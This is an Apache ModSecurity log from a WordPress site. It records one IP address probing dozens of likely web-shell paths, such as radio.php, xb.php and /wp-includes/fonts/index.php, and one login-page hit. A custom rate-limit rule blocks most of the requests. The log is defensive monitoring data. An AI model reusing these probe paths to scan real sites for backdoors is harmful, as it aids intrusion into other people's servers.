[Thu Dec 25 19:11:18.798327 2025] [:error] [pid 2996:tid 3003] [client 4.241.194.62:62037] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU0b1qrrTp0EWNyhaIRYVAAAAQU"]
[Thu Dec 25 19:11:19.300277 2025] [:error] [pid 31571:tid 31639] [client 4.241.194.62:55772] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aU0b1-7e_lLK2X5wU8m9GAAAAIw"]
[Thu Dec 25 19:11:19.623804 2025] [:error] [pid 31571:tid 31631] [client 4.241.194.62:11982] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aU0b1-7e_lLK2X5wU8m9GwAAAIQ"]
[Thu Dec 25 19:11:20.114236 2025] [:error] [pid 2996:tid 3017] [client 4.241.194.62:12120] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aU0b2KrrTp0EWNyhaIRYWAAAARM"]
[Thu Dec 25 19:11:20.577347 2025] [:error] [pid 2996:tid 3008] [client 4.241.194.62:55777] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xb.php"] [unique_id "aU0b2KrrTp0EWNyhaIRYWgAAAQo"]
[Thu Dec 25 19:11:20.906983 2025] [:error] [pid 2996:tid 3014] [client 4.241.194.62:55784] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU0b2KrrTp0EWNyhaIRYWwAAARA"]
[Thu Dec 25 19:11:21.219863 2025] [:error] [pid 31569:tid 31591] [client 4.241.194.62:29574] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU0b2WiSFBH7Ee_uldXdNwAAABI"]
[Thu Dec 25 19:11:21.591305 2025] [:error] [pid 31570:tid 31608] [client 4.241.194.62:12128] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU0b2WPy2DpAzW_4a2hFzQAAAEg"]
[Thu Dec 25 19:11:21.997124 2025] [:error] [pid 31570:tid 31616] [client 4.241.194.62:41054] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU0b2WPy2DpAzW_4a2hFzgAAAFA"]
[Thu Dec 25 19:11:22.398877 2025] [:error] [pid 2996:tid 2998] [client 4.241.194.62:41062] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aU0b2qrrTp0EWNyhaIRYXwAAAQA"]
[Thu Dec 25 19:11:22.645007 2025] [:error] [pid 31570:tid 31609] [client 4.241.194.62:12025] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aU0b2mPy2DpAzW_4a2hF0AAAAEk"]
[Thu Dec 25 19:11:22.918498 2025] [:error] [pid 2996:tid 3011] [client 4.241.194.62:62025] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aU0b2qrrTp0EWNyhaIRYYgAAAQ0"]
[Thu Dec 25 19:11:39.776297 2025] [:error] [pid 31569:tid 31580] [client 4.241.194.62:11982] [client 4.241.194.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.241.194.62, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU0b62iSFBH7Ee_uldXdVwAAAAc"]
[Thu Dec 25 19:12:12.234634 2025] [:error] [pid 2996:tid 3004] [client 4.241.194.62:60450] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU0cDKrrTp0EWNyhaIRY6gAAAQY"]
[Thu Dec 25 19:12:12.764960 2025] [:error] [pid 31571:tid 31641] [client 4.241.194.62:29768] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU0cDO7e_lLK2X5wU8m9jgAAAI4"]
[Thu Dec 25 19:12:13.239013 2025] [:error] [pid 31571:tid 31641] [client 4.241.194.62:30773] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU0cDe7e_lLK2X5wU8m9kQAAAI4"]
[Thu Dec 25 19:12:13.761912 2025] [:error] [pid 64974:tid 65040] [client 4.241.194.62:12400] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU0cDThp3-5Lb4YPPN-sWAAAAsk"]
[Thu Dec 25 19:12:14.404557 2025] [:error] [pid 2996:tid 3004] [client 4.241.194.62:30724] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU0cDqrrTp0EWNyhaIRY7wAAAQY"]
[Thu Dec 25 19:12:15.158767 2025] [:error] [pid 31569:tid 31579] [client 4.241.194.62:29571] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU0cD2iSFBH7Ee_uldXdzgAAAAY"]
[Thu Dec 25 19:12:15.854186 2025] [:error] [pid 64973:tid 65023] [client 4.241.194.62:29803] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU0cD-qHYEKj6K8dhUEyMgAAApM"]
[Thu Dec 25 19:12:16.104954 2025] [:error] [pid 2996:tid 3004] [client 4.241.194.62:29807] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU0cEKrrTp0EWNyhaIRY8wAAAQY"]
[Thu Dec 25 19:12:16.688229 2025] [:error] [pid 31571:tid 31650] [client 4.241.194.62:29810] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aU0cEO7e_lLK2X5wU8m9lwAAAJc"]
[Thu Dec 25 19:12:17.137384 2025] [:error] [pid 64973:tid 65027] [client 4.241.194.62:11738] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aU0cEeqHYEKj6K8dhUEyNAAAApc"]
[Thu Dec 25 19:12:17.700602 2025] [:error] [pid 31571:tid 31638] [client 4.241.194.62:29794] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aU0cEe7e_lLK2X5wU8m9mQAAAIs"]
[Thu Dec 25 19:12:18.197835 2025] [:error] [pid 64909:tid 64928] [client 4.241.194.62:39233] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aU0cEh45RBsBaT7_YDVeZgAAAc4"]
[Thu Dec 25 19:12:18.643229 2025] [:error] [pid 31571:tid 31641] [client 4.241.194.62:12408] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aU0cEu7e_lLK2X5wU8m9mgAAAI4"]
[Thu Dec 25 19:12:19.218615 2025] [:error] [pid 64910:tid 64949] [client 4.241.194.62:30752] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aU0cE-es2ob7vYHBZqB1FgAAAgg"]
[Thu Dec 25 19:12:19.668387 2025] [:error] [pid 64974:tid 65052] [client 4.241.194.62:39238] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aU0cEzhp3-5Lb4YPPN-sYAAAAtU"]
[Thu Dec 25 19:12:20.072667 2025] [:error] [pid 64974:tid 65055] [client 4.241.194.62:29765] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aU0cFDhp3-5Lb4YPPN-sYgAAAtg"]
[Thu Dec 25 19:12:20.496849 2025] [:error] [pid 64973:tid 65014] [client 4.241.194.62:55165] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aU0cFOqHYEKj6K8dhUEyPAAAAoo"]
[Thu Dec 25 19:12:20.942943 2025] [:error] [pid 64971:tid 64978] [client 4.241.194.62:30732] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aU0cFKqyk1GkxTrDJixG9wAAAkE"]
[Thu Dec 25 19:12:22.046572 2025] [:error] [pid 31569:tid 31579] [client 4.241.194.62:11766] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aU0cFmiSFBH7Ee_uldXd0gAAAAY"]
[Thu Dec 25 19:12:22.924179 2025] [:error] [pid 64971:tid 64986] [client 4.241.194.62:30780] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aU0cFqqyk1GkxTrDJixG_wAAAkk"]
[Thu Dec 25 19:12:23.849948 2025] [:error] [pid 64973:tid 65021] [client 4.241.194.62:11749] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU0cF-qHYEKj6K8dhUEyQgAAApE"]
[Thu Dec 25 19:12:24.878466 2025] [:error] [pid 31569:tid 31587] [client 4.241.194.62:29346] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU0cGGiSFBH7Ee_uldXd1gAAAA4"]
[Thu Dec 25 19:12:25.364363 2025] [:error] [pid 64910:tid 64951] [client 4.241.194.62:29788] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU0cGees2ob7vYHBZqB1GAAAAgo"]
[Thu Dec 25 19:12:25.919027 2025] [:error] [pid 2996:tid 3012] [client 4.241.194.62:11735] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aU0cGarrTp0EWNyhaIRY_QAAAQ4"]
[Thu Dec 25 19:12:26.221004 2025] [:error] [pid 64974:tid 65036] [client 4.241.194.62:12399] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU0cGjhp3-5Lb4YPPN-sZgAAAsU"]
[Thu Dec 25 19:12:26.853959 2025] [:error] [pid 64973:tid 65025] [client 4.241.194.62:29786] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU0cGuqHYEKj6K8dhUEyRAAAApU"]
[Thu Dec 25 19:12:27.184264 2025] [:error] [pid 64910:tid 64953] [client 4.241.194.62:55157] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU0cG-es2ob7vYHBZqB1GQAAAgw"]
[Thu Dec 25 19:12:29.127754 2025] [:error] [pid 64973:tid 65006] [client 4.241.194.62:29341] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU0cHeqHYEKj6K8dhUEySAAAAoI"]
[Thu Dec 25 19:12:29.983606 2025] [:error] [pid 64975:tid 65077] [client 4.241.194.62:29328] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU0cHSXyboSuXIThjj6RawAAAxM"]
[Thu Dec 25 19:12:30.407580 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:38545] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU0cHqrrTp0EWNyhaIRZAAAAAQc"]
[Thu Dec 25 19:12:31.033106 2025] [:error] [pid 64879:tid 64894] [client 4.241.194.62:55126] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU0cHzalwsF0a14CkLOiQgAAAY0"]
[Thu Dec 25 19:12:31.680609 2025] [:error] [pid 64974:tid 65046] [client 4.241.194.62:55136] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aU0cHzhp3-5Lb4YPPN-sbAAAAs8"]
[Thu Dec 25 19:12:32.172102 2025] [:error] [pid 2996:tid 3022] [client 4.241.194.62:29315] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aU0cIKrrTp0EWNyhaIRZAwAAARg"]
[Thu Dec 25 19:12:32.759150 2025] [:error] [pid 64971:tid 64990] [client 4.241.194.62:11724] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aU0cIKqyk1GkxTrDJixHFAAAAk0"]
[Thu Dec 25 19:12:33.456914 2025] [:error] [pid 64909:tid 64938] [client 4.241.194.62:38549] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aU0cIR45RBsBaT7_YDVebQAAAdg"]
[Thu Dec 25 19:12:33.756153 2025] [:error] [pid 64973:tid 65009] [client 4.241.194.62:53940] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aU0cIeqHYEKj6K8dhUEyTAAAAoU"]
[Thu Dec 25 19:12:34.210420 2025] [:error] [pid 64971:tid 64987] [client 4.241.194.62:55117] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU0cIqqyk1GkxTrDJixHFgAAAko"]
[Thu Dec 25 19:12:34.582424 2025] [:error] [pid 64879:tid 64902] [client 4.241.194.62:55141] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU0cIjalwsF0a14CkLOiRgAAAZU"]
[Thu Dec 25 19:12:34.949564 2025] [:error] [pid 64909:tid 64915] [client 4.241.194.62:11736] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU0cIh45RBsBaT7_YDVebgAAAcE"]
[Thu Dec 25 19:12:35.272900 2025] [:error] [pid 31571:tid 31641] [client 4.241.194.62:53941] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aU0cI-7e_lLK2X5wU8m9oAAAAI4"]
[Thu Dec 25 19:12:36.201387 2025] [:error] [pid 64909:tid 64916] [client 4.241.194.62:55127] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU0cJB45RBsBaT7_YDVebwAAAcI"]
[Thu Dec 25 19:12:36.788383 2025] [:error] [pid 64974:tid 65033] [client 4.241.194.62:12373] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU0cJDhp3-5Lb4YPPN-sdAAAAsI"]
[Thu Dec 25 19:12:37.265164 2025] [:error] [pid 64909:tid 64920] [client 4.241.194.62:55119] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU0cJR45RBsBaT7_YDVecgAAAcY"]
